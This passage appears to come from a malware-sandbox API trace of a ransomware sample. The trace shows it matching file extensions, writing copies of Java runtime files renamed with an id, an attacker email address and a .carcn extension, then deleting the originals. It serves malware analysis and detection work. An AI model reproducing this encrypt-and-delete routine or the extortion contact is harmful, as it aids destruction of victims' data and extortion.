[0268.801] lstrlenW (lpString=".docx") returned 5 [0268.801] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0268.801] lstrlenW (lpString=".pdf") returned 4 [0268.801] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0268.801] lstrlenW (lpString=".xls") returned 4 [0268.801] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0268.801] lstrlenW (lpString=".xlsx") returned 5 [0268.801] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0268.801] lstrlenW (lpString=".ppt") returned 4 [0268.801] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0268.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0268.802] lstrlenW (lpString=".zip") returned 4 [0268.802] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0268.802] lstrlenW (lpString=".rar") returned 4 [0268.802] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0268.802] lstrlenW (lpString=".bz2") returned 4 [0268.802] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0268.802] lstrlenW (lpString=".7z") returned 3 [0268.802] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0268.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0268.802] lstrlenW (lpString=".dbf") returned 4 [0268.802] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0268.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0268.802] lstrlenW (lpString=".1cd") returned 4 [0268.802] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0268.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0268.802] lstrlenW (lpString=".jpg") returned 4 [0268.802] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0268.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0268.802] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0268.802] lstrlenW (lpString=".doc") returned 4 [0268.802] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0268.802] lstrlenW (lpString=".docx") returned 5 [0268.802] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0268.802] lstrlenW (lpString=".pdf") returned 4 [0268.802] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0268.802] lstrlenW (lpString=".xls") returned 4 [0268.802] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0268.802] lstrlenW (lpString=".xlsx") returned 5 [0268.802] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0268.803] lstrlenW (lpString=".ppt") returned 4 [0268.803] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0268.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0268.803] lstrlenW (lpString=".zip") returned 4 [0268.803] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0268.803] lstrlenW (lpString=".rar") returned 4 [0268.803] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0268.803] lstrlenW (lpString=".bz2") returned 4 [0268.803] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0268.803] lstrlenW (lpString=".7z") returned 3 [0268.803] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0268.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0268.803] lstrlenW (lpString=".dbf") returned 4 [0268.803] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0268.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0268.803] lstrlenW (lpString=".1cd") returned 4 [0268.803] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0268.803] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0268.803] lstrlenW (lpString=".jpg") returned 4 [0268.803] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0268.803] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0268.803] lstrlenW (lpString="local_policy.jar") returned 16 [0268.804] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0268.804] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=3527) returned 1 [0268.804] CloseHandle (hObject=0x54c) returned 1 [0268.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20 [0268.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0268.805] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0268.805] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.805] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.805] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0268.806] GetLastError () returned 0x0 [0268.806] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0xdc7, lpOverlapped=0x0) returned 1 [0269.122] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xdd0, lpOverlapped=0x0) returned 1 [0269.124] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0269.124] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xf4, lpOverlapped=0x0) returned 1 [0269.124] SetEndOfFile (hFile=0x43c) returned 1 [0269.128] CloseHandle (hObject=0x43c) returned 1 [0269.131] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.131] SetEndOfFile (hFile=0x54c) returned 1 [0269.140] CloseHandle (hObject=0x54c) returned 1 [0269.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0269.141] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1 [0269.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0269.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0269.142] lstrlenW (lpString=".doc") returned 4 [0269.142] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0269.142] lstrlenW (lpString=".docx") returned 5 [0269.142] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0269.142] lstrlenW (lpString=".pdf") returned 4 [0269.142] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0269.142] lstrlenW (lpString=".xls") returned 4 [0269.142] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0269.142] lstrlenW (lpString=".xlsx") returned 5 [0269.142] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0269.142] lstrlenW (lpString=".ppt") returned 4 [0269.142] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0269.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0269.142] lstrlenW (lpString=".zip") returned 4 [0269.142] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0269.142] lstrlenW (lpString=".rar") returned 4 [0269.142] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0269.143] lstrlenW (lpString=".bz2") returned 4 [0269.143] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0269.143] lstrlenW (lpString=".7z") returned 3 [0269.143] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0269.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0269.143] lstrlenW (lpString=".dbf") returned 4 [0269.143] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0269.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0269.143] lstrlenW (lpString=".1cd") returned 4 [0269.143] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0269.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0269.143] lstrlenW (lpString=".jpg") returned 4 [0269.143] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0269.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0269.143] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0269.143] lstrlenW (lpString=".doc") returned 4 [0269.143] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0269.143] lstrlenW (lpString=".docx") returned 5 [0269.143] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0269.143] lstrlenW (lpString=".pdf") returned 4 [0269.143] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0269.143] lstrlenW (lpString=".xls") returned 4 [0269.143] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0269.143] lstrlenW (lpString=".xlsx") returned 5 [0269.143] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0269.144] lstrlenW (lpString=".ppt") returned 4 [0269.144] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0269.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0269.144] lstrlenW (lpString=".zip") returned 4 [0269.144] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0269.144] lstrlenW (lpString=".rar") returned 4 [0269.144] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0269.144] lstrlenW (lpString=".bz2") returned 4 [0269.144] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0269.144] lstrlenW (lpString=".7z") returned 3 [0269.144] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0269.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0269.144] lstrlenW (lpString=".dbf") returned 4 [0269.144] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0269.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0269.144] lstrlenW (lpString=".1cd") returned 4 [0269.144] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0269.144] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64 [0269.144] lstrlenW (lpString=".jpg") returned 4 [0269.144] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0269.144] lstrcmpiW (lpString1=".libraries", lpString2=".carcn") returned 1 [0269.144] lstrlenW (lpString="trusted.libraries") returned 17 [0269.145] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0269.147] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=0) returned 1 [0269.147] CloseHandle (hObject=0x54c) returned 1 [0269.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0269.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0269.147] lstrlenW (lpString=".doc") returned 4 [0269.148] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0269.148] lstrlenW (lpString=".docx") returned 5 [0269.148] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0269.148] lstrlenW (lpString=".pdf") returned 4 [0269.148] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0269.148] lstrlenW (lpString=".xls") returned 4 [0269.148] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0269.148] lstrlenW (lpString=".xlsx") returned 5 [0269.148] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0269.148] lstrlenW (lpString=".ppt") returned 4 [0269.148] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0269.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0269.148] lstrlenW (lpString=".zip") returned 4 [0269.148] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0269.148] lstrlenW (lpString=".rar") returned 4 [0269.148] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0269.148] lstrlenW (lpString=".bz2") returned 4 [0269.148] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0269.148] lstrlenW (lpString=".7z") returned 3 [0269.148] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0269.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0269.148] lstrlenW (lpString=".dbf") returned 4 [0269.148] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0269.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0269.148] lstrlenW (lpString=".1cd") returned 4 [0269.148] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0269.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0269.149] lstrlenW (lpString=".jpg") returned 4 [0269.149] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0269.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0269.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0269.149] lstrlenW (lpString=".doc") returned 4 [0269.149] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0269.149] lstrlenW (lpString=".docx") returned 5 [0269.149] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0269.149] lstrlenW (lpString=".pdf") returned 4 [0269.149] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0269.149] lstrlenW (lpString=".xls") returned 4 [0269.149] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0269.149] lstrlenW (lpString=".xlsx") returned 5 [0269.149] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0269.149] lstrlenW (lpString=".ppt") returned 4 [0269.149] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0269.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0269.149] lstrlenW (lpString=".zip") returned 4 [0269.149] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0269.149] lstrlenW (lpString=".rar") returned 4 [0269.149] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0269.149] lstrlenW (lpString=".bz2") returned 4 [0269.149] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0269.149] lstrlenW (lpString=".7z") returned 3 [0269.149] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0269.149] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0269.150] lstrlenW (lpString=".dbf") returned 4 [0269.150] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0269.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0269.150] lstrlenW (lpString=".1cd") returned 4 [0269.150] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0269.150] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0269.150] lstrlenW (lpString=".jpg") returned 4 [0269.150] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0269.150] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0269.150] lstrlenW (lpString="US_export_policy.jar") returned 20 [0269.150] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0269.151] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=3026) returned 1 [0269.151] CloseHandle (hObject=0x54c) returned 1 [0269.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20 [0269.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.151] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0269.152] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.152] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.152] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0269.152] GetLastError () returned 0x0 [0269.153] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0xbd2, lpOverlapped=0x0) returned 1 [0269.179] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xbe0, lpOverlapped=0x0) returned 1 [0269.180] ReadFile (in: hFile=0x54c, lpBuffer=0x429c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0269.180] WriteFile (in: hFile=0x43c, lpBuffer=0x429c020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x429c020*, lpNumberOfBytesWritten=0x3bbfc94*=0xfc, lpOverlapped=0x0) returned 1 [0269.181] SetEndOfFile (hFile=0x43c) returned 1 [0269.181] CloseHandle (hObject=0x43c) returned 1 [0269.181] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.181] SetEndOfFile (hFile=0x54c) returned 1 [0269.184] CloseHandle (hObject=0x54c) returned 1 [0269.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0269.185] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1 [0269.186] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0269.186] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0269.186] lstrlenW (lpString=".doc") returned 4 [0269.186] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0269.186] lstrlenW (lpString=".docx") returned 5 [0269.186] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0269.187] lstrlenW (lpString=".pdf") returned 4 [0269.187] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0269.187] lstrlenW (lpString=".xls") returned 4 [0269.187] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0269.187] lstrlenW (lpString=".xlsx") returned 5 [0269.187] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0269.187] lstrlenW (lpString=".ppt") returned 4 [0269.187] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0269.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0269.187] lstrlenW (lpString=".zip") returned 4 [0269.187] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0269.187] lstrlenW (lpString=".rar") returned 4 [0269.187] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0269.187] lstrlenW (lpString=".bz2") returned 4 [0269.187] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0269.187] lstrlenW (lpString=".7z") returned 3 [0269.187] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0269.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0269.187] lstrlenW (lpString=".dbf") returned 4 [0269.187] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0269.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0269.187] lstrlenW (lpString=".1cd") returned 4 [0269.187] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0269.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0269.187] lstrlenW (lpString=".jpg") returned 4 [0269.187] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0269.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0269.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0269.188] lstrlenW (lpString=".doc") returned 4 [0269.188] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0269.188] lstrlenW (lpString=".docx") returned 5 [0269.188] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0269.188] lstrlenW (lpString=".pdf") returned 4 [0269.188] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0269.188] lstrlenW (lpString=".xls") returned 4 [0269.188] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0269.188] lstrlenW (lpString=".xlsx") returned 5 [0269.188] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0269.188] lstrlenW (lpString=".ppt") returned 4 [0269.188] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0269.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0269.188] lstrlenW (lpString=".zip") returned 4 [0269.188] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0269.188] lstrlenW (lpString=".rar") returned 4 [0269.188] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0269.188] lstrlenW (lpString=".bz2") returned 4 [0269.188] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0269.188] lstrlenW (lpString=".7z") returned 3 [0269.188] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0269.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0269.188] lstrlenW (lpString=".dbf") returned 4 [0269.188] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0269.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0269.188] lstrlenW (lpString=".1cd") returned 4 [0269.189] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0269.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0269.189] lstrlenW (lpString=".jpg") returned 4 [0269.189] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0269.189] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0269.189] lstrlenW (lpString="sound.properties") returned 16 [0269.189] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0269.190] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=1210) returned 1 [0269.190] CloseHandle (hObject=0x54c) returned 1 [0269.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program 